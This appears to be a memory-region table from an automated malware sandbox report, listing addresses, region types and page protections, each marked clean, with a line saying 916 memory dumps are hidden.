page read and write
 clean
360000
heap default
page read and write
 clean
B1E000
stack
page read and write
 clean
3073000
unkown
page read and write
 clean
1CE0000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
7CC000
heap default
page read and write
 clean
8F0000
heap private
page read and write
 clean
970000
heap private
page read and write
 clean
363C000
unkown
page read and write
 clean
978000
heap private
page read and write
 clean
328000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
5C8000
heap default
page read and write
 clean
ADF000
stack
page read and write
 clean
AA0000
unkown
page write copy
 clean
1B494000
unkown
page read and write
 clean
B00000
heap private
page read and write
 clean
7FF002A0000
unkown
page execute and read and write
 clean
365B000
unkown
page read and write
 clean
200000
heap default
page read and write
 clean
20000
heap private
page read and write
 clean
306D000
unkown
page read and write
 clean
41F000
stack
page read and write
 clean
780000
unkown
page readonly
 clean
60000
unkown
page readonly
 clean
710000
unkown
page readonly
 clean
D68000
heap private
page read and write
 clean
7A0000
unkown
page readonly
 clean
2484000
heap private
page read and write
 clean
3066000
unkown
page read and write
 clean
7A0000
heap private
page read and write
 clean
240000
unkown
page readonly
 clean
7FF00115000
unkown
page read and write
 clean
1A0000
unkown
page readonly
 clean
310E000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
350000
heap default
page read and write
 clean
426000
unkown
page read and write
 clean
218000
heap private
page read and write
 clean
366E000
unkown
page read and write
 clean
1CC000
unkown
page read and write
 clean
2354000
heap private
page read and write
 clean
1EB0000
unkown
page readonly
 clean
2B00000
heap private
page execute and read and write
 clean
6C0000
unkown
page readonly
 clean
B3F000
stack
page read and write
 clean
7FF001A0000
unkown
page execute and read and write
 clean
140000
unkown
page read and write
 clean
38F000
unkown
page read and write
 clean
964000
unkown
page read and write
 clean
20C000
unkown
page read and write
 clean
130000
unkown
page readonly
 clean
28AF000
unkown
page read and write
 clean
339E000
stack
page read and write
 clean
28B0000
unkown
page read and write
 clean
1EC0000
unkown
page readonly
 clean
1F5B000
heap private
page read and write
 clean
670000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
2CEE000
stack
page read and write
 clean
10000000
unkown image
page readonly
 clean
28B0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
20A0000
heap private
page read and write
 clean
2B40000
unkown
page read and write
 clean
2724000
heap private
page read and write
 clean
339E000
unkown
page read and write
 clean
300000
unkown
page readonly
 clean
100000
unkown
page read and write
 clean
36EA000
unkown
page read and write
 clean
AB000
unkown
page read and write
 clean
2FC3000
unkown
page read and write
 clean
2B0000
unkown
page readonly
 clean
A80000
heap private
page read and write
 clean
120000
unkown
page readonly
 clean
2D72000
unkown
page read and write
 clean
170000
unkown
page readonly
 clean
2400000
unkown
page write copy
 clean
3AD7000
unkown
page read and write
 clean
2540000
heap private
page read and write
 clean
28B0000
unkown
page read and write
 clean
568000
heap default
page read and write
 clean
7FF001F0000
unkown
page read and write
 clean
282F000
unkown
page read and write
 clean
2CA000
stack
page read and write
 clean
AB000
stack
page read and write
 clean
237000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1DC0000
heap private
page execute and read and write
 clean
840000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
1B41F000
unkown
page read and write
 clean
3170000
unkown
page write copy
 clean
307E000
stack
page read and write
 clean
494000
heap private
page read and write
 clean
270000
unkown
page readonly
 clean
782000
heap private
page read and write
 clean
8EE000
unkown
page read and write
 clean
180000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
3AE000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
6BE000
unkown
page read and write
 clean
29CE000
unkown
page read and write
 clean
490000
heap private
page read and write
 clean
3AE8000
unkown
page read and write
 clean
3212000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
293F000
unkown
page read and write
 clean
75D000
stack
page read and write
 clean
81C000
unkown
page read and write
 clean
2CDE000
unkown
page read and write | page guard
 clean
270000
unkown
page read and write
 clean
2B7000
heap default
page read and write
 clean
960000
unkown
page read and write
 clean
248C000
unkown
page read and write
 clean
2530000
heap private
page read and write
 clean
3B7000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
7FF001E0000
unkown
page execute and read and write
 clean
316E000
unkown
page read and write
 clean
2A3D000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
250000
heap private
page read and write
 clean
2FB6000
unkown
page read and write
 clean
3763000
unkown
page read and write
 clean
1B41B000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
850000
heap private
page read and write
 clean
3318000
unkown
page read and write
 clean
1F20000
heap private
page read and write
 clean
960000
heap private
page read and write
 clean
45E000
unkown
page read and write
 clean
B50000
unkown
page readonly
 clean
31C0000
unkown
page write copy
 clean
24CF000
stack
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
3AC0000
unkown
page read and write
 clean
30C5000
unkown
page read and write
 clean
3C4000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
28B0000
unkown
page read and write
 clean
251F000
stack
page read and write
 clean
100000
unkown
page read and write
 clean
320000
unkown
page readonly
 clean
12FF2000
unkown
page read and write
 clean
980000
unkown
page readonly
 clean
760000
heap private
page read and write
 clean
4B7000
heap default
page read and write
 clean
30ED000
unkown
page read and write
 clean
557000
heap default
page read and write
 clean
2050000
unkown
page readonly
 clean
32BF000
stack
page read and write
 clean
2D0000
unkown
page read and write
 clean
374000
heap default
page read and write
 clean
238D000
stack
page read and write
 clean
100000
unkown
page read and write
 clean
2DA4000
unkown
page read and write
 clean
754000
heap default
page read and write
 clean
160000
unkown
page readonly
 clean
7FF00240000
unkown
page read and write
 clean
20B0000
unkown
page readonly
 clean
1ECC000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
95F000
unkown
page read and write
 clean
7D1000
heap default
page read and write
 clean
894000
heap private
page read and write
 clean
3658000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
402000
unkown
page read and write
 clean
2C5E000
unkown
page read and write
 clean
287000
heap default
page read and write
 clean
25E000
unkown
page read and write
 clean
1DC000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
77F000
heap default
page read and write
 clean
409000
heap default
page read and write
 clean
10B000
unkown
page read and write
 clean
890000
unkown
page read and write
 clean
520000
heap default
page read and write
 clean
718000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
32EE000
stack
page read and write
 clean
2ACA000
heap private
page execute and read and write
 clean
ACC000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
500000
unkown
page readonly
 clean
520000
unkown
page readonly
 clean
2E20000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
7FF001D0000
unkown
page read and write
 clean
3110000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
3668000
unkown
page read and write
 clean
2350000
unkown
page readonly
 clean
1B411000
unkown
page read and write
 clean
1C8EE000
unkown
page read and write
 clean
2770000
unkown
page readonly
 clean
17C000
unkown
page read and write
 clean
AED000
stack
page read and write
 clean
1ADA0000
unkown
page read and write
 clean
25C000
unkown
page read and write
 clean
7FF00180000
unkown
page read and write
 clean
21A000
stack
page read and write
 clean
2FA4000
unkown
page read and write
 clean
970000
heap private
page read and write
 clean
3A96000
unkown
page read and write
 clean
2060000
unkown
page readonly
 clean
527000
heap default
page read and write
 clean
3AD3000
unkown
page read and write
 clean
18B000
unkown
page read and write
 clean
12D41000
unkown
page read and write
 clean
A1D000
unkown
page read and write
 clean
210000
heap private
page read and write
 clean
456000
unkown
page read and write
 clean
700000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
3078000
unkown
page read and write
 clean
B5E000
unkown
page read and write
 clean
30D4000
unkown
page read and write
 clean
1C40000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
544000
heap default
page read and write
 clean
2D70000
unkown
page readonly
 clean
1F70000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
3F0000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
3054000
unkown
page read and write
 clean
207000
heap default
page read and write
 clean
7FF00110000
unkown
page read and write
 clean
940000
unkown
page readonly
 clean
326000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
2F1000
heap default
page read and write
 clean
1B8C0000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2D30000
heap private
page read and write
 clean
180000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
1F70000
unkown
page readonly
 clean
640000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
31E0000
unkown
page write copy
 clean
3652000
unkown
page read and write
 clean
59C000
heap default
page read and write
 clean
190000
unkown
page readonly
 clean
12D6C000
unkown
page read and write
 clean
2F97000
unkown
page read and write
 clean
7C0000
unkown
page readonly
 clean
4D4000
heap default
page read and write
 clean
3C4000
heap default
page read and write
 clean
7F0000
unkown
page readonly
 clean
278E000
unkown
page read and write
 clean
28B4000
unkown
page read and write
 clean
730000
heap default
page read and write
 clean
2F91000
unkown
page read and write
 clean
30F0000
unkown
page read and write
 clean
1F0000
unkown
page readonly
 clean
1F70000
unkown
page readonly
 clean
380000
unkown
page readonly
 clean
30E0000
unkown
page write copy
 clean
2CF0000
unkown
page readonly
 clean
280000
unkown
page readonly
 clean
3D4000
heap default
page read and write
 clean
1D0000
unkown
page read and write
 clean
303C000
unkown
page read and write
 clean
2157000
unkown
page readonly
 clean
1F70000
unkown
page readonly
 clean
230000
heap default
page read and write
 clean
AB000
unkown
page read and write
 clean
3D0000
heap private
page read and write
 clean
308D000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
366B000
unkown
page read and write
 clean
170000
unkown
page readonly
 clean
1F70000
unkown
page readonly
 clean
1CA80000
heap private
page read and write
 clean
310000
unkown
page read and write
 clean
2157000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
210000
heap private
page read and write
 clean
1EEB000
unkown
page readonly
 clean
4F0000
unkown
page readonly
 clean
3A0000
heap default
page read and write
 clean
32FD000
unkown
page read and write
 clean
6BC000
unkown
page read and write
 clean
2390000
unkown
page readonly
 clean
2D34000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
3EF000
heap default
page read and write
 clean
1004D000
unkown image
page read and write
 clean
D0000
unkown
page readonly
 clean
180000
unkown
page readonly
 clean
1C4000
heap private
page read and write
 clean
2350000
heap private
page read and write
 clean
363F000
unkown
page read and write
 clean
39B000
heap default
page read and write
 clean
280000
unkown
page readonly
 clean
9C0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
180000
unkown
page read and write
 clean
B5E000
stack
page read and write
 clean
2157000
unkown
page readonly
 clean
39D000
heap default
page read and write
 clean
7D0000
unkown
page readonly
 clean
A50000
heap private
page read and write
 clean
2CF000
heap default
page read and write
 clean
309C000
unkown
page read and write
 clean
528000
heap default
page read and write
 clean
890000
heap private
page read and write
 clean
28B0000
unkown
page readonly
 clean
D0000
unkown
page read and write
 clean
284000
heap private
page read and write
 clean
A34000
heap private
page read and write
 clean
2720000
heap private
page read and write
 clean
59A000
heap default
page read and write
 clean
84E000
unkown
page read and write
 clean
920000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
3687000
unkown
page read and write
 clean
390000
unkown
page readonly
 clean
32D000
unkown
page read and write
 clean
28BA000
unkown
page read and write
 clean
293F000
stack
page read and write
 clean
24C0000
unkown
page readonly
 clean
366000
heap default
page read and write
 clean
3AC6000
unkown
page read and write
 clean
41D000
heap default
page read and write
 clean
2930000
unkown
page readonly
 clean
6A0000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
360000
heap default
page read and write
 clean
1FE0000
heap private
page read and write
 clean
570000
unkown
page readonly
 clean
2350000
unkown
page read and write
 clean
3AF5000
unkown
page read and write
 clean
1C79E000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
A11000
heap private
page read and write
 clean
7FF001C0000
unkown
page execute and read and write
 clean
56F000
heap default
page read and write
 clean
2C10000
unkown
page readonly
 clean
350000
unkown
page readonly
 clean
380000
unkown
page readonly
 clean
31C0000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
33EE000
stack
page read and write
 clean
950000
unkown
page readonly
 clean
3C0000
unkown
page read and write
 clean
2AA0000
unkown
page readonly
 clean
A84000
heap private
page read and write
 clean
32B0000
heap private
page read and write
 clean
B70000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
2BD000
heap default
page read and write
 clean
3D7000
heap default
page read and write
 clean
30C2000
unkown
page read and write
 clean
26E000
heap default
page read and write
 clean
2FC0000
unkown
page read and write
 clean
249E000
unkown
page read and write
 clean
4C0000
unkown
page readonly
 clean
D0000
heap default
page read and write
 clean
28B0000
unkown
page read and write
 clean
7FF00230000
unkown
page execute and read and write
 clean
1E27000
unkown
page readonly
 clean
E0000
unkown
page read and write
 clean
2FE8000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
1A0000
heap default
page read and write
 clean
3150000
unkown
page readonly
 clean
32BF000
unkown
page read and write
 clean
348E000
stack
page read and write
 clean
31EE000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
280000
unkown
page readonly
 clean
2270000
unkown
page readonly
 clean
2FDD000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
2C0000
heap default
page read and write
 clean
2CEA000
unkown
page read and write
 clean
7FE000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
1FA0000
unkown
page readonly
 clean
7FF00270000
unkown
page execute and read and write
 clean
30A5000
unkown
page read and write
 clean
1EC000
unkown
page read and write
 clean
927000
unkown
page readonly
 clean
36FB000
unkown
page read and write
 clean
230000
unkown
page readonly
 clean
26BD000
stack
page read and write
 clean
370000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
1B49A000
unkown
page read and write
 clean
309A000
unkown
page read and write
 clean
8B2000
heap private
page read and write
 clean
10001000
unkown image
page execute read
 clean
309E000
unkown
page read and write
 clean
2E0000
heap private
page read and write
 clean
6D0000
unkown
page readonly
 clean
3083000
unkown
page read and write
 clean
2CE0000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
1CE000
unkown
page read and write
 clean
A30000
heap private
page read and write
 clean
2734000
heap private
page read and write
 clean
3DD000
heap default
page read and write
 clean
1CB60000
heap private
page read and write
 clean
23E000
heap default
page read and write
 clean
2FC000
heap default
page read and write
 clean
3684000
unkown
page read and write
 clean
30F3000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2CE5000
unkown
page read and write
 clean
2AE0000
unkown
page readonly
 clean
2560000
unkown
page readonly
 clean
3642000
unkown
page read and write
 clean
2E3000
heap default
page read and write
 clean
290000
unkown
page readonly
 clean
3B0000
heap default
page read and write
 clean
2B7000
heap default
page read and write
 clean
28B0000
unkown
page read and write
 clean
200000
heap private
page read and write
 clean
2D0000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
259E000
unkown
page read and write
 clean
367E000
unkown
page read and write
 clean
1B800000
unkown
page write copy
 clean
10001000
unkown image
page execute read
 clean
7FF00280000
unkown
page execute and read and write
 clean
220000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
3629000
unkown
page read and write
 clean
2A4000
heap default
page read and write
 clean
2157000
unkown
page readonly
 clean
2F70000
unkown
page readonly
 clean
44A000
heap default
page read and write
 clean
3033000
unkown
page read and write
 clean
3D7000
heap default
page read and write
 clean
410000
heap private
page read and write
 clean
8D0000
heap private
page read and write
 clean
2940000
unkown
page read and write
 clean
410000
heap private
page read and write
 clean
7FF00050000
unkown
page read and write
 clean
328000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
4ED000
heap default
page read and write
 clean
A90000
heap private
page read and write
 clean
319D000
stack
page read and write
 clean
2760000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
2494000
heap private
page read and write
 clean
232000
heap private
page read and write
 clean
60000
unkown
page readonly
 clean
460000
unkown
page readonly
 clean
1BBB0000
heap private
page read and write
 clean
30A1000
unkown
page read and write
 clean
AA2000
heap private
page read and write
 clean
20E000
unkown
page read and write
 clean
53D000
heap default
page read and write
 clean
3681000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
170000
unkown
page readonly
 clean
285E000
unkown
page read and write
 clean
4B0000
unkown
page readonly
 clean
1E1000
heap private
page read and write
 clean
27C000
unkown
page read and write
 clean
287000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2CF000
heap default
page read and write
 clean
429000
heap default
page read and write
 clean
3619000
unkown
page read and write
 clean
978000
heap private
page read and write
 clean
A51000
heap private
page read and write
 clean
2DC000
heap default
page read and write
 clean
60000
unkown
page readonly
 clean
204000
heap private
page read and write
 clean
21C0000
heap private
page read and write
 clean
120000
unkown
page readonly
 clean
32A0000
heap private
page read and write
 clean
264C000
unkown
page read and write
 clean
3671000
unkown
page read and write
 clean
CAF000
stack
page read and write
 clean
2371000
heap private
page read and write
 clean
2280000
unkown
page readonly
 clean
3B01000
unkown
page read and write
 clean
D3E000
unkown
page read and write
 clean
2A4000
heap default
page read and write
 clean
2C1D000
stack
page read and write
 clean
2E8C000
unkown
page read and write
 clean
2157000
unkown
page readonly
 clean
767000
heap default
page read and write
 clean
1C0000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
28B0000
unkown
page read and write
 clean
2480000
heap private
page read and write
 clean
20000
unkown
page readonly
 clean
7AC000
heap default
page read and write
 clean
25A000
stack
page read and write
 clean
94E000
stack
page read and write
 clean
7FF00142000
unkown
page execute and read and write
 clean
30EE000
stack
page read and write
 clean
3A0000
heap default
page read and write
 clean
10042000
unkown image
page readonly
 clean
3E0000
heap private
page read and write
 clean
B00000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
2684000
heap private
page read and write
 clean
3645000
unkown
page read and write
 clean
2976000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
2CF0000
unkown
page readonly
 clean
244E000
unkown
page read and write
 clean
6A0000
unkown
page readonly
 clean
B20000
unkown
page read and write
 clean
328000
unkown
page read and write
 clean
413000
heap default
page read and write
 clean
2350000
unkown
page read and write
 clean
2541000
heap private
page read and write
 clean
7FF0011A000
unkown
page execute and read and write
 clean
2CDF000
unkown
page read and write
 clean
405000
heap default
page read and write
 clean
10001000
unkown image
page execute read
 clean
E0000
unkown
page read and write
 clean
2FC6000
unkown
page read and write
 clean
17E000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
3A93000
unkown
page read and write
 clean
27E000
unkown
page read and write
 clean
2A50000
heap private
page read and write
 clean
3553000
unkown
page read and write
 clean
7FF00100000
unkown
page read and write
 clean
1EA000
stack
page read and write
 clean
4A0000
unkown
page readonly
 clean
2BBD000
unkown
page read and write
 clean
930000
unkown
page readonly
 clean
30BF000
unkown
page read and write
 clean
210000
heap private
page read and write
 clean
1BB30000
heap private
page read and write
 clean
7FF00042000
unkown
page execute and read and write
 clean
2D76000
unkown
page read and write
 clean
AAE000
unkown
page read and write
 clean
280000
unkown
page readonly
 clean
1CC000
unkown
page read and write
 clean
280000
heap default
page read and write
 clean
540000
unkown
page readonly
 clean
447000
heap default
page read and write
 clean
3DD000
heap default
page read and write
 clean
250000
unkown
page read and write
 clean
250000
unkown
page read and write
 clean
2F7A000
unkown
page read and write
 clean
1C16000
unkown
page read and write
 clean
2C6E000
stack
page read and write
 clean
A9E000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
24DE000
stack
page read and write
 clean
B21000
heap private
page read and write
 clean
359000
heap default
page read and write
 clean
AFE000
stack
page read and write
 clean
630000
unkown
page readonly
 clean
100000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
9F0000
heap private
page read and write
 clean
2C70000
unkown
page readonly
 clean
27AD000
unkown
page read and write
 clean
307C000
unkown
page read and write
 clean
93D000
unkown
page read and write
 clean
94F000
unkown
page read and write
 clean
910000
heap private
page read and write
 clean
350000
unkown
page readonly
 clean
28B0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
10001000
unkown image
page execute read
 clean
2B80000
unkown
page readonly
 clean
327E000
stack
page read and write
 clean
830000
unkown
page readonly
 clean
B1F000
stack
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
2340000
unkown
page readonly
 clean
1F25000
heap private
page read and write
 clean
266C000
unkown
page read and write
 clean
32CE000
stack
page read and write
 clean
1BA6E000
unkown
page read and write
 clean
1EE000
unkown
page read and write
 clean
2350000
unkown
page readonly
 clean
7FF001B0000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
30B000
unkown
page read and write
 clean
21EE000
unkown
page read and write
 clean
810000
unkown
page readonly
 clean
19B000
unkown
page read and write
 clean
2F70000
unkown
page read and write
 clean
862000
heap private
page read and write
 clean
304000
heap default
page read and write
 clean
620000
unkown
page readonly
 clean
820000
unkown
page readonly
 clean
1E40000
unkown
page write copy
 clean
326E000
stack
page read and write
 clean
26FE000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
7EFDF000
unkown
page read and write
 clean
28A0000
unkown
page readonly
 clean
2D37000
heap private
page read and write
 clean
2BD000
heap default
page read and write
 clean
3F0000
unkown
page read and write
 clean
28CE000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
2350000
unkown
page read and write
 clean
B70000
unkown
page read and write
 clean
280000
heap private
page read and write
 clean
414000
heap private
page read and write
 clean
35C7000
unkown
page read and write
 clean
2F77000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
844000
heap private
page read and write
 clean
7FF002B0000
unkown
page execute and read and write
 clean
30F000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
4B2000
heap private
page read and write
 clean
270000
unkown
page readonly
 clean
1AB000
unkown
page read and write
 clean
76D000
heap default
page read and write
 clean
324E000
stack
page read and write
 clean
384000
heap default
page read and write
 clean
3276000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2590000
unkown
page write copy
 clean
23B000
stack
page read and write
 clean
20000
unkown
page readonly
 clean
3D7000
heap default
page read and write
 clean
2AC0000
heap private
page execute and read and write
 clean
28AE000
unkown
page read and write
 clean
3112000
unkown
page read and write
 clean
150000
unkown
page read and write
 clean
2B0000
heap default
page read and write
 clean
290000
heap default
page read and write
 clean
31BE000
unkown
page read and write
 clean
1F0000
unkown
page read and write
 clean
2770000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
214000
heap private
page read and write
 clean
120000
unkown
page readonly
 clean
5E0000
unkown
page readonly
 clean
232E000
unkown
page read and write
 clean
24B2000
heap private
page read and write
 clean
367000
heap default
page read and write
 clean
32AF000
stack
page read and write
 clean
301E000
unkown
page read and write
 clean
34E0000
unkown
page readonly
 clean
AFE000
stack
page read and write
 clean
3ED000
heap default
page read and write
 clean
2A0000
heap default
page read and write
 clean
28B0000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
2520000
heap private
page read and write
 clean
28B0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
3A7000
heap default
page read and write
 clean
10042000
unkown image
page readonly
 clean
2230000
heap private
page read and write
 clean
16B000
unkown
page read and write
 clean
920000
unkown
page readonly
 clean
2D20000
unkown
page read and write
 clean
7FF0005C000
unkown
page execute and read and write
 clean
28B0000
unkown
page read and write
 clean
3037000
unkown
page read and write
 clean
3289000
unkown
page read and write
 clean
3ACD000
unkown
page read and write
 clean
160000
unkown
page read and write
 clean
397000
heap default
page read and write
 clean
240000
unkown
page read and write
 clean
293F000
unkown
page read and write
 clean
B3E000
unkown
page read and write
 clean
2E10000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
260000
unkown
page read and write
 clean
302A000
unkown
page read and write
 clean
1B0000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
28B0000
unkown
page read and write
 clean
460000
unkown
page readonly
 clean
233D000
unkown
page read and write
 clean
320000
unkown
page readonly
 clean
3293000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
4D0000
heap private
page read and write
 clean
7FF00220000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
31DE000
unkown
page read and write
 clean
39EC000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
4B0000
heap default
page read and write
 clean
860000
unkown
page readonly
 clean
2B50000
unkown
page readonly
 clean
2CA0000
unkown
page readonly
 clean
7C0000
unkown
page readonly
 clean
800000
heap private
page read and write
 clean
2940000
unkown
page readonly
 clean
764000
heap private
page read and write
 clean
23BE000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
A5E000
unkown
page read and write
 clean
12E51000
unkown
page read and write
 clean
7FF00200000
unkown
page execute and read and write
 clean
1EC7000
unkown
page readonly
 clean
7FF00250000
unkown
page execute and read and write
 clean
310000
heap private
page read and write
 clean
220000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
79D000
heap default
page read and write
 clean
8F0000
unkown
page readonly
 clean
3694000
unkown
page read and write
 clean
3495000
unkown
page read and write
 clean
880000
unkown
page readonly
 clean
B04000
heap private
page read and write
 clean
313000
unkown
page read and write
 clean
3655000
unkown
page read and write
 clean
2357000
unkown
page readonly
 clean
312E000
stack
page read and write
 clean
310F000
unkown
page read and write
 clean
1FA0000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
2C00000
unkown
page readonly
 clean
2157000
unkown
page readonly
 clean
316000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
12D45000
unkown
page read and write
 clean
2730000
heap private
page read and write
 clean
There are 916 hidden memdumps, click here to show them.